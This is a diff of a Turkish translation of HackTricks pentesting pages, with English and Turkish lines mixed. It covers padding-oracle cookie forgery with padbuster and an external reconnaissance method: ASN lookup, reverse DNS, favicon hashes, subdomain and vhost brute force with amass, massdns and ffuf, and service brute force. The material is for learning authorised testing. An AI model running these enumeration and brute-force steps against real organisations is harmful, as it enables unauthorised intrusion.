Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`'ye eşit olmasını** sağlar.\
Bu BF, önceki kadar karmaşıktır çünkü `E''15` değerini 0x02 olarak hesaplamak mümkündür: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`**'ye eşit olmasını sağlar.\
Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.**
**Tüm şifreli metni çözene kadar bu zinciri takip edin.**
### Açığın Tespiti
Bir hesap kaydedin ve bu hesapla giriş yapın.\
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacaktır ve onu geçersiz kılmanın bir yolu **olmayacaktır.**
Bir hesap oluşturun ve bu hesapla giriş yapın.\
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz** olmalıdır. Eğer çerez **her zaman** **aynı** ise, muhtemelen her zaman geçerli olacaktır ve onu geçersiz kılmanın bir yolu **olmayacaktır**.
Artık çerezi **değiştirmeyi** denerken, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarabilirsiniz. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
Şimdi, eğer **çerezi değiştirmeye** çalışırsanız, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ama eğer padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
### Referanslar
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,23 +1,23 @@
# Dış Recon Metodolojisi
# External Recon Methodology
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -35,19 +35,19 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın
### **Satın Almalar**
Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" sekmesine **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi aramak** ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlamaya çalışalım.
> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımıza bakalım.
### **ASNs**
Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\
Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **güvenlik testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
[**https://bgp.he.net/**](https://bgp.he.net)** adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\
**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
**Şirketin herhangi bir ASN atayıp atamadığını bulmak** ve **IP aralıklarını** bulmak ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **güvenlik testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de arama yapabilirsiniz.**\
**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Yine de, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -76,20 +76,20 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **Zafiyetleri Arama**
Bu noktada **kapsam içindeki tüm varlıkları** biliyoruz, bu yüzden izin verilirse tüm hostlar üzerinde bazı **zafiyet tarayıcıları** (Nessus, OpenVAS) başlatabilirsiniz.\
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **başlatabilir veya** shodan **gibi hizmetleri kullanarak**ık portları **bulabilirsiniz ve bulduklarınıza bağlı olarak bu kitapta çeşitli hizmetleri nasıl pentest edeceğinize bakmalısınız.**\
**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifre **listeleri hazırlamanın da faydalı olabileceğini ve** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **denemesi yapabileceğinizi belirtmek gerekir.**
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **başlatabilir veya** shodan **gibi hizmetleri kullanarak**ık portları **bulabilirsiniz ve bulduklarınıza bağlı olarak bu kitapta çeşitli olası hizmetleri nasıl pentest edeceğinizi kontrol etmelisiniz.**\
**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifre **listeleri hazırlamanın da faydalı olabileceğini ve** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **denemeyi düşünebileceğinizi belirtmek gerekir.**
## Alan Adları
> Kapsam içindeki tüm şirketleri ve varlıklarını biliyoruz, şimdi kapsam içindeki alan adlarını bulma zamanı.
_Lütfen, aşağıda önerilen tekniklerde alt alan adlarını da bulabileceğinizi ve bu bilginin küçümsenmemesi gerektiğini unutmayın._
_Lütfen, aşağıda önerilen tekniklerde alt alan adlarını da bulabileceğinizi ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._
Öncelikle her şirketin **ana alan adı**(larını) aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır.
### **Ters DNS**
Alan adlarının tüm IP aralıklarını bulduğunuzda, bu **IP'ler üzerinde daha fazla alan adı bulmak için** **ters dns sorgulamaları** yapmayı deneyebilirsiniz. Kurbanın bazı dns sunucularını veya bazı iyi bilinen dns sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın.
Alan adlarının tüm IP aralıklarını bulduğunuz için, bu **IP'ler üzerinde daha fazla alan adı bulmak için** **ters dns sorgulamaları** yapmayı deneyebilirsiniz. Kurbanın bazı dns sunucularını veya bazı iyi bilinen dns sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın.
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -139,13 +139,13 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - aynı favicon simgesi hash'ine sahip alanları keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
Kısaca, favihash, hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir versiyonunun **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Bu, bir web'in **favicon hash'ini** nasıl **hesaplayabileceğinizdir**:
Bu, bir web'in **favicon hash'ini hesaplayabileceğiniz** yöntemdir:
```python
import mmh3
import requests
@ -160,7 +160,7 @@ return fhash
```
### **Copyright / Uniq string**
Web sayfalarında **aynı organizasyondaki farklı webler arasında paylaşılabilecek dizgiler** arayın. **Telif hakkı dizgisi** iyi bir örnek olabilir. Ardından bu dizgiyi **google**, diğer **tarayıcılar** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
Web sayfalarında **aynı organizasyondaki farklı webler arasında paylaşılabilecek dizgileri** arayın. **Telif hakkı dizgisi** iyi bir örnek olabilir. Ardından bu dizgiyi **google**, diğer **tarayıcılar** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -169,58 +169,58 @@ Bir cron job'a sahip olmak yaygındır.
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **aynı şirkete ait alan adlarını sertifika şeffaflık kayıtlarında bulmak**.\
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Mail DMARC bilgileri
### Mail DMARC information
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **aynı dmarc bilgilerini paylaşan alan adları ve alt alan adları**.
### **Pasif Ele Geçirme**
### **Passive Takeover**
Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (Digital Ocean gibi) aslında **bazı alt alan adlarını ele geçireceksiniz**.
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **o IP adresini kaybetmek ama DNS kaydını silmeyi unutmak**. Therefore, just **bir VM oluşturmak** in a cloud (like Digital Ocean) you will be actually **bazı alt alan adlarını ele geçirmiş olacaksınız**.
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **buna işaret eden alt alan adı kayıtlarını Virustotal'da arayan** bir script öneriyor.
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **DigitalOcean'da bir VM oluşturur**, **yeni makinenin** **IPv4'ünü alır** ve **Virustotal'da ona işaret eden alt alan adı kayıtlarını arar**.
### **Diğer yollar**
### **Other ways**
**Bu tekniği, her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
**Bu tekniği her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
**Shodan**
Zaten IP alanına sahip olan kuruluşun adını biliyorsunuz. Bu veriyi shodan'da aramak için kullanabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin.
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** elde edebilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz, filtre ile: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana bir alan adı ile ilişkili **alan adlarını** ve **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) is a tool that look for **ana alan adı ile ilişkili alan adları** ve **onların alt alan adları**, pretty amazing.
### **Zafiyet arama**
### **Looking for vulnerabilities**
Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin.
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Just register it (if cheap enough) and let know the company.
Eğer bulduğunuz varlık keşfindeki IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "onlara saldırmak" için bazı ipuçları bulabilirsiniz**.\
_Domain'in, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
If you find any **alan adı farklı bir IP ile** bulduğunuz varlık keşfindeki IP'lerden, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, **hackerlar tarafından, hackerlar için oluşturulmuş bir premium hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
**Bug bounty tip**: **Intigriti'ye kaydolun**, **hackers tarafından, hackers için oluşturulmuş bir premium bug bounty platformu**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Alt Alan Adları
## Subdomains
> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
Bulunan her alan adının tüm olası alt alan adlarını bulma zamanı.
It's time to find all the possible subdomains of each found domain.
{% hint style="success" %}
Alan adlarını bulmak için bazı araçların ve tekniklerin alt alan adlarını bulmaya da yardımcı olabileceğini unutmayın!
Bazı araçların ve tekniklerin alan adlarını bulmak için kullanılabileceğini unutmayın, aynı zamanda alt alan adlarını bulmaya da yardımcı olabilir!
{% endhint %}
### **DNS**
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer zayıfsa, bunu bildirmelisiniz).
Let's try to get **alt alan adlarını** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash
dnsrecon -a -d tesla.com
```
@ -344,9 +344,9 @@ Bu proje, **bug-bounty programlarıyla ilgili tüm alt alanları ücretsiz olara
Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
### **DNS Kaba Kuvvet**
Yeni **alt alanları** bulmak için olası alt alan adlarını kullanarak DNS sunucularını brute-force yapmayı deneyelim.
Yeni **alt alanları** bulmak için olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle deneyelim.
Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olacak:
@ -358,9 +358,9 @@ Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olac
Ayrıca iyi DNS çözümleyicilerin IP'lerine de ihtiyacınız var. Güvenilir DNS çözümleyicilerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözümleyicileri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS brute-force için en çok önerilen araçlar şunlardır:
DNS kaba kuvvet için en çok önerilen araçlar şunlardır:
* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS brute-force gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere eğilimlidir.
* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere eğilimlidir.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` etrafında yazılmış bir go sarmalayıcısıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ve kolay girdi-çıktı desteği ile çözmenize olanak tanır.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını listelemenizi sağlayan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır; ayrıca alt alan adlarını joker karakter desteği ile çözümleme ve kolay girdi-çıktı desteği sunar.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -399,8 +399,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Alt alan adı varyasyonları oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir).
* altdns varyasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
* [**altdns**](https://github.com/infosec-au/altdns): Alt alan adlarının permütasyonlarını oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir).
* altdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -410,7 +410,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Belirtilen kalıplara dayanarak bir alan adı üzerinden **yeni potansiyel alt alan adı isimleri üretir** ve daha fazla alt alan adı keşfetmeye çalışır.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Belirtilen kalıplara dayanarak bir alan adı temelinde **yeni potansiyel alt alan adı isimleri üretir** ve daha fazla alt alan adı keşfetmeye çalışır.
#### Akıllı permütasyonlar üretimi
@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özelleştirilmiş bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi sağlanan bir girdi veri setini kullanarak, daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanılır.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özelleştirilmiş bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi sağlanan bir girdi setini kullanarak, daha fazla ilgili alan adı sentezlemek ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları daha da genişletmek için döngü içinde doğru bir şekilde kullanır.
```
echo www | subzuf facebook.com
```
@ -434,7 +434,7 @@ Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım
### **VHosts / Sanal Ana Bilgisayarlar**
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force ile deneyebilirsiniz**.
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**.
#### OSINT
@ -442,7 +442,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com
**Brute Force**
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force denemesi yapabilirsiniz:
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -473,28 +473,28 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**
### **Monitorization**
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) bunu yapar.
### **Looking for vulnerabilities**
### **Güvenlik açıklarını arama**
Mümkün olan [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
Eğer **alt alan** bir **S3 bucket**'a işaret ediyorsa, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
